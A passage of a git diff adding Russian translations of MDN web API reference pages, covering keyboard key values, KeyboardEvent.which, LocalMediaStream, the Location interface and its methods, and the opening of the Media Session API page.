+   <td><code>"BrowserStop"</code></td>
+   <td>Останавливает загрузку текущего веб-представления или содержимого.</td>
+   <td><code>VK_BROWSER_STOP</code> (0xA9)<br>
+    <code>APPCOMMAND_BROWSER_STOP</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Stop</code> (0x1008FF28)<br>
+    <code>Qt::Key_Search</code> (0x01000063)</td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] До Firefox 37, эта клавиша возвращала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="Клавиши_цифрового_блока">Клавиши цифрового блока</h2>
+
+<p>Эти клавиши находятся на цифровой панели клавиатуры. Однако не все они присутствуют на каждой клавиатуре. Хотя типичные цифровые панели имеют цифровые клавиши от <kbd>0</kbd> до <kbd>9</kbd> (кодируются как <code>"0"</code> - <code>"9"</code>), некоторые мультимедийные клавиатуры включают дополнительные цифровые клавиши для более высоких чисел.</p>
+
+<div class="note">
+<p>Клавиша <kbd>10</kbd>, <span class="tlid-translation translation" lang="ru"><span title="">если она присутствует, генерирует события</span></span> <span class="tlid-translation translation" lang="ru"><span title="">со значением ключа</span></span> <code>"0"</code>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+  <tr>
+   <td><code>"Decimal"</code> [1] {{obsolete_inline}}</td>
+   <td>
+    <p><span class="tlid-translation translation" lang="ru"><span title="">Клавиша десятичной точки</span></span> (обычно <kbd>.</kbd> или <kbd>,</kbd> в зависимости от региона).</p>
+
+    <p><span class="tlid-translation translation" lang="ru"><span title="">В новых браузерах это значение должно быть просто символом, сгенерированным клавишей десятичной точки (одним из этих двух символов).</span> <span title="">[1]</span></span></p>
+   </td>
+   <td><code>VK_DECIMAL</code> (0x6E)</td>
+   <td><code>kVK_ANSI_KeypadDecimal</code> (0x41)</td>
+   <td><code>GDK_KEY_KP_Decimal</code> (0xFFAE)<br>
+     </td>
+   <td><code>KEYCODE_NUMPAD_DOT</code> (158)</td>
+  </tr>
+  <tr>
+   <td><code>"Key11"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Клавиша</span></span> <kbd>11</kbd> <span class="tlid-translation translation" lang="ru"><span title=""> встречается на некоторых цифровых мультимедиа клавиатурах.</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Key12"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Клавиша</span></span> <kbd>12</kbd> <span class="tlid-translation translation" lang="ru"><span title="">встречается на некоторых цифровых мультимедиа клавиатурах.</span></span>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Multiply"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша умножения на цифровой панели, <kbd>*</kbd>.</td>
+   <td><code>VK_MULTIPLY</code> (0x6A)</td>
+   <td><code>kVK_ANSI_KeypadMultiply</code> (0x43)</td>
+   <td><code>GDK_KEY_KP_Multiply</code> (0xFFAA)<br>
+    <code>Qt::Key_Multiply</code> (0x0D7)</td>
+   <td><code>KEYCODE_NUMPAD_MULTIPLY</code> (155)</td>
+  </tr>
+  <tr>
+   <td><code>"Add"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша сложения на цифровой панели, <kbd>+</kbd>.</td>
+   <td><code>VK_ADD</code> (0x6B)</td>
+   <td><code>kVK_ANSI_KeypadPlus</code> (0x45)</td>
+   <td><code>GDK_KEY_KP_Add</code> (0xFFAB)</td>
+   <td><code>KEYCODE_NUMPAD_ADD</code> (157)</td>
+  </tr>
+  <tr>
+   <td><code>"Clear"</code></td>
+   <td>Клавиша очистки на цифровой панели, <kbd>Clear</kbd>.</td>
+   <td></td>
+   <td><code>kVK_ANSI_KeypadClear</code> (0x47)</td>
+   <td><code>GDK_KEY_Clear</code> (0xFF0B)<br>
+    <code>Qt::Key_Clear</code> (0x0100000B)</td>
+   <td><code>KEYCODE_CLEAR</code> (28)</td>
+  </tr>
+  <tr>
+   <td><code>"Divide"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша деления на цифровой панели, <kbd>/</kbd>.</td>
+   <td><code>VK_DIVIDE</code> (0x6F)</td>
+   <td><code>kVK_ANSI_KeypadDivide</code> (0x4B)</td>
+   <td><code>GDK_KEY_KP_Divide</code> (0xFFAF)<br>
+    <code>Qt::Key_Slash</code> (0x2F)</td>
+   <td><code>KEYCODE_NUMPAD_DIVIDE</code> (154)</td>
+  </tr>
+  <tr>
+   <td><code>"Subtract"</code> [1] {{obsolete_inline}}</td>
+   <td>Клавиша вычитания на цифровой панели, <kbd>-</kbd>.</td>
+   <td><code>VK_SUBTRACT</code> (0x6D)</td>
+   <td><code>kVK_ANSI_KeypadMinus</code> (0x4E)</td>
+   <td><code>GDK_KEY_KP_Subtract</code> (0xFFAD)</td>
+   <td><code>KEYCODE_NUMPAD_SUBTRACT</code> (156)</td>
+  </tr>
+  <tr>
+   <td><code>"Separator"</code> [1]</td>
+   <td>
+    <p><span class="tlid-translation translation" lang="ru"><span title="">Символ разделителя позиций на цифровой клавиатуре.</span></span></p>
+
+    <p><span class="tlid-translation translation" lang="ru"><span title="">(В США это запятая, но в других странах это часто точка.)</span></span></p>
+   </td>
+   <td><code>VK_SEPARATOR</code> (0x6C)</td>
+   <td><code>kVK_JIS_KeypadComma</code> (0x5F)</td>
+   <td><code>GDK_KEY_KP_Separator</code> (0xFFAC)<br>
+     </td>
+   <td><code>KEYCODE_NUMPAD_COMMA</code> (159)</td>
+  </tr>
+  <tr>
+   <td><code>От "0"</code> до <code>"9"</code></td>
+   <td>Фактические цифровые клавиши на цифровой панели.</td>
+   <td><code>VK_NUMPAD0</code> (0x60) - <code>VK_NUMPAD9</code> (0x69)</td>
+   <td><code>kVK_Keypad0</code> (0x52) - <code>kVK_Keypad9</code> (0x5C)</td>
+   <td><code>GDK_KEY_KP_0</code> (0xFFB0) - <code>GDK_KEY_KP_9</code> (0xFFB9)</td>
+   <td><code>KEYCODE_NUMPAD_0</code> (144) - <code>KEYCODE_NUMPAD_9</code> (153)</td>
+  </tr>
+ </thead>
+</table>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">[1] В то время как старые браузеры использовали такие слова, как «Добавить», «Десятичное число», «Умножить» и т. д., современные браузеры идентифицируют их по фактическому символу («+», «.», «*» и т. д.).</span></span></p>
diff --git a/files/ru/web/api/keyboardevent/which/index.html b/files/ru/web/api/keyboardevent/which/index.html
new file mode 100644
index 0000000000..d06f71133f
--- /dev/null
+++ b/files/ru/web/api/keyboardevent/which/index.html
@@ -0,0 +1,97 @@
+---
+title: KeyboardEvent.which
+slug: Web/API/KeyboardEvent/which
+tags:
+  - API
+  - DOM
+  - Deprecated
+  - Property
+  - Reference
+translation_of: Web/API/KeyboardEvent/which
+---
+<div>{{APIRef ("События DOM")}} {{Deprecated_header}}<br>
+Свойство which только для чтения интерфейса {{domxref ("KeyboardEvent")}} возвращает числовой код клавиши нажатой клавиши или код символа (charCode) для нажатой буквенно-цифровой клавиши.</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>keyResult</em> = <em>event</em>.which;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>keyResult содержит числовой код для конкретной нажатой клавиши, в зависимости от того, была ли нажата буквенно-цифровая или не буквенно-цифровая клавиша. Пожалуйста, смотрите {{domxref ("KeyboardEvent.charCode")}} и {{domxref ("KeyboardEvent.keyCode")}} для получения дополнительной информации.</code></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;charCode/keyCode/which example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showKeyPress(evt) {
+alert("onkeypress handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+      + "charCode property: " + evt.charCode + "\n"
+      + "Character Key Pressed: "
+      + String.fromCharCode(evt.charCode) + "\n"
+     );
+}
+
+
+function keyDown(evt) {
+alert("onkeydown handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+     );
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body
+ onkeypress="showKeyPress(event);"
+ onkeydown="keyDown(event);"
+&gt;
+
+&lt;p&gt;Please press any key.&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Специфиыкация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#legacy-interface-KeyboardEvent','KeyboardEvent.which')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition; specified as deprecated</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.KeyboardEvent.which")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("KeyboardEvent")}}, the interface this property belongs too.</li>
+</ul>
diff --git a/files/ru/web/api/localmediastream/index.html b/files/ru/web/api/localmediastream/index.html
new file mode 100644
index 0000000000..b5ca550abb
--- /dev/null
+++ b/files/ru/web/api/localmediastream/index.html
@@ -0,0 +1,22 @@
+---
+title: LocalMediaStream
+slug: Web/API/LocalMediaStream
+translation_of: Web/API/LocalMediaStream
+---
+<div>{{APIRef("WebRTC")}} {{SeeCompatTable}}</div>
+
+<p>Интерфейс <strong><code>LocalMediaStream</code></strong><strong> </strong>представляет собой поток медиа-контента извлёчённый из локального источника данных. Этот интерфейс возвращается из <code><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></code>.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("LocalMediaStream.stop()")}}</dt>
+ <dd>Останавливает поток. Когда источником потока является подключённое устройство (например, камера или микрофон), останавливает захват на устройстве. </dd>
+</dl>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li>Использование MediaStream API</li>
+ <li><a href="/en-US/docs/WebRTC/navigator.getUserMedia" title="/en-US/docs/WebRTC/navigator.getUserMedia">getUserMedia()</a></li>
+</ul>
diff --git a/files/ru/web/api/location/assign/index.html b/files/ru/web/api/location/assign/index.html
new file mode 100644
index 0000000000..38cf76051a
--- /dev/null
+++ b/files/ru/web/api/location/assign/index.html
@@ -0,0 +1,68 @@
+---
+title: Location.assign()
+slug: Web/API/Location/assign
+tags:
+  - API
+  - HTML-DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/assign
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Метод <code><strong>Location</strong></code><strong><code>.assign()</code></strong> запускает загрузку и отображение нового документа по указанному URL.</p>
+
+<p>Если новый URL не удовлетворяет требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом <code>SECURITY_ERROR</code>. Это случается, если домен скрипта, вызвающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.</p>
+
+<p>Если новый URL некорректен, выбрасывается {{domxref("DOMException")}} с типом <code>SYNTAX_ERROR</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>object</em>.assign(<em>url</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>url</em></dt>
+ <dd>{{domxref("DOMString")}}, содержащий URL страницы, на которую нужно перейти.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Перейти на статью Location.reload
+document.location.assign('https://developer.mozilla.org/ru/docs/Web/API/Location.reload');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-assign", "Location.assign()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-assign", "Location.assign()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Location.assign")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Location")}}, к которому принадлежит этот метод.</li>
+ <li>Похожие методы: {{domxref("Location.replace()")}} и {{domxref("Location.reload()")}}.</li>
+</ul>
diff --git a/files/ru/web/api/location/index.html b/files/ru/web/api/location/index.html
new file mode 100644
index 0000000000..470064d4b9
--- /dev/null
+++ b/files/ru/web/api/location/index.html
@@ -0,0 +1,205 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Location
+  - Refernce
+translation_of: Web/API/Location
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <strong><code>Location</code></strong> представляет собой адрес (URL) объекта, с которым он связан. Его модификации отражаются на родительском объекте. Интерфейсы {{domxref("Document")}} и {{domxref("Window")}} имеют подобный <code>Location</code>, к которому можно получить доступ через {{domxref("Document.location")}} и {{domxref("Window.location")}} соответственно.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>Location</code></em><em> не имеет унаследованных свойств, но реализует свойства {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий URL целиком. При изменении, соответствующий документ переходит на новую страницу.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий протокол текущего URL, включая <code>':'</code>.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий хост, а именно <em>имя хоста</em>, <code>':'</code> и <em>порт</em>.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий домен текущего URL.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий номер порта текущего URL.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий первый <code>'/'</code> после хоста с последующим текстом URL.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий <code>'?'</code> с последующими параметрами URL.</dd>
+
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий <code>'#'</code> с последующим идентификатором.</dd>
+ <dt>{{domxref("Location.username")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий имя пользователя, указанное перед именем домена.</dd>
+ <dt>{{domxref("Location.password")}}</dt>
+ <dd>{{domxref("DOMString")}}, содержащий пароль, указанный перед именем домена.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, содержащий протокол, хост и порт текущего URL.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс <code>Location</code></em><em> не имеет унаследованных методов, но реализует методы {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>Загружает ресурс по URL, указанному в качестве параметра.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>Перезагружает ресурс по текущему URL. Единственный опциональный параметр {{domxref("Boolean")}} при значении <code>true</code> указывает, что страница должна быть заново загружена с сервера, при значении <code>false</code> страница может быть загружена из кэша.</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Заменяет текущий ресурс на новый по URL, указанному в качестве параметра. Отличие от <code>assign()</code> в том, что при использовании <code>replace()</code> текущая страница не будет сохранена в {{domxref("History")}}, и пользователь не сможет использовать кнопку <em>назад</em>, чтобы вернуться к ней.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, содержащий URL целиком. Это синоним {{domxref("URLUtils.href")}}, однако он не может использоваться для изменения значения.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Этот пример создает ссылку и использует ее свойство href
+// Корректная альтернатива - использовать document.location или window.location текущего URL
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // (пустой - https подразумевает порт 443)
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> в <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> во всех объектах <code>location</code> (кроме Workers, где используется {{domxref("WorkerLocation")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> и <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> в <code>Windows.location</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("21")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code> во всех объектах <code>location</code> (кроме Workers, где используется {{domxref("WorkerLocation")}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code> и <code>password</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Два метода, создающих подобные объекты: {{domxref("Window.location")}} и {{domxref("Document.location")}}.</li>
+ <li>Интерфейсы, относящиеся к URL: {{domxref("URL")}}, {{domxref("URLSearchParams")}} и {{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/ru/web/api/location/reload/index.html b/files/ru/web/api/location/reload/index.html
new file mode 100644
index 0000000000..fb00e74ea7
--- /dev/null
+++ b/files/ru/web/api/location/reload/index.html
@@ -0,0 +1,73 @@
+---
+title: Location.reload()
+slug: Web/API/Location/reload
+tags:
+  - API
+  - HTML-DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/reload
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Метод <code><strong>Location.reload()</strong></code> перезагружает ресурс из текущего URL подобно кнопке обновления браузера.</p>
+
+<p>Если условия вызова метода не удовлетворяют требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом <code>SECURITY_ERROR</code>. Это случается, если домен скрипта, вызывающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>location</em>.reload();
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">// Перезагрузить текущую страницу
+document.location.reload();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Location")}}, к которому принадлежит этот метод.</li>
+ <li>Похожие методы: {{domxref("Location.assign()")}} и {{domxref("Location.replace()")}}.</li>
+</ul>
+
+<div class="jfk-bubble gtx-bubble" style="left: 12px; top: 29px; opacity: 1; transition: opacity 0.218s ease-out 0s;">
+<div class="jfk-bubble-content-id" id="bubble-3">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 15px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/api/location/replace/index.html b/files/ru/web/api/location/replace/index.html
new file mode 100644
index 0000000000..6019d603dc
--- /dev/null
+++ b/files/ru/web/api/location/replace/index.html
@@ -0,0 +1,68 @@
+---
+title: Location.replace()
+slug: Web/API/Location/replace
+tags:
+  - API
+  - HTML-DOM
+  - Location
+  - Method
+  - Reference
+translation_of: Web/API/Location/replace
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Метод <code><strong>Location</strong></code><strong><code>.replace()</code></strong> заменяет текущий ресурс на новый по URL, указанному в качестве параметра. Отличие от {{domxref("Location.assign","assign()")}} в том, что при использовании <code>replace()</code> текущая страница не будет сохранена в {{domxref("History")}}, и пользователь не сможет использовать кнопку <em>назад</em>, чтобы вернуться к ней.</p>
+
+<p>Если условия вызова метода не удовлетворяют требованиям безопасности, выбрасывается {{domxref("DOMException")}} с типом <code>SECURITY_ERROR</code>. Это случается, если домен скрипта, вызывающего метод, не совпадает с доменом страницы, изначально содержащимся в {{domxref("Location")}}.</p>
+
+<p>Если новый URL некорректен, выбрасывается {{domxref("DOMException")}} с типом <code>SYNTAX_ERROR</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>object</em>.replace(<em>url</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>url</em></dt>
+ <dd>{{domxref("DOMString")}} , содержащий URL страницы, на которую нужно перейти.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">// Перейти на статью Location.reload, заменив текущую страницу
+document.location.replace('https://developer.mozilla.org/en-US/docs/Web/API/Location.reload');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#dom-location-replace", "Location.replace()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений относительно {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-replace", "Location.replace()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div id="compat-mobile">{{Compat("api.Location.replace")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Location")}}, к которому принадлежит этот метод.</li>
+ <li>Похожие методы: {{domxref("Location.assign()")}} и {{domxref("Location.reload()")}}.</li>
+</ul>
diff --git a/files/ru/web/api/media_session_api/index.html b/files/ru/web/api/media_session_api/index.html
new file mode 100644
index 0000000000..aeaf490463
--- /dev/null
+++ b/files/ru/web/api/media_session_api/index.html
@@ -0,0 +1,110 @@
+---
+title: Media Session API
+slug: Web/API/Media_Session_API
+tags:
+  - Media Session API
+  - MediaMetadata
+  - MediaSession
+  - Видео
+  - Медиа
+  - аудио
+translation_of: Web/API/Media_Session_API
+---
+<p>{{DefaultAPISidebar("Media Session API")}}</p>
+
+<p class="summary">API Media Session даёт разработчику возможность настроить уведомление о медиа. С помощью него можно предоставить метаданные о проигрываемых приложением медиа, а также позволяет приложению реагировать на команды управления воспроизведением. Смысл данного интерфейса в том, чтобы пользователь мог просматривать и управлять медиаконтентом, не переходя на страницу, где происходит воспроизведение.</p>
+
+<h2 id="Принципы_и_использование_Media_Session">Принципы и использование Media Session</h2>
+
+<p>Интерфейс {{domxref("MediaMetadata")}} позволяет приложению передавать метаданные о воспроизводимом контенте браузеру и ОС. Примеры таких метаданных: название, исполнитель, альбом и обложка. Данная информация может отображаться в медиацентре, блоке уведомлений или на экране блокировки.</p>
+
+<p>Интерфейс {{domxref("MediaSession")}} позволяет пользователям контролировать воспроизведение с помощью элементов управления браузера. Взаимодействие с этими элементами также вызывает события в приложении. Так как этот API может использоваться сразу несколькими страницами, браузер контролирует, какая страница получит события. Браузер предоставляет поведение по умолчанию, если оно не было переопределено страницами.</p>
+
+<h2 id="Работа_с_Media_Session_API">Работа с Media Session API</h2>
+
+<p>Главный интерфейс Media Session API -- {{domxref("MediaSession")}}. Не нужно создавать собственный экземпляр <code>MediaSession</code>, доступ к API осуществляется через свойство {{domxref("navigator.mediaSession")}}. Например, следующий код укажет, что страница воспроизводит медиа в данный момент:</p>
+
+<pre class="brush: js notranslate">navigator.mediaSession.playbackState = "playing";</pre>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("MediaMetadata")}}</dt>
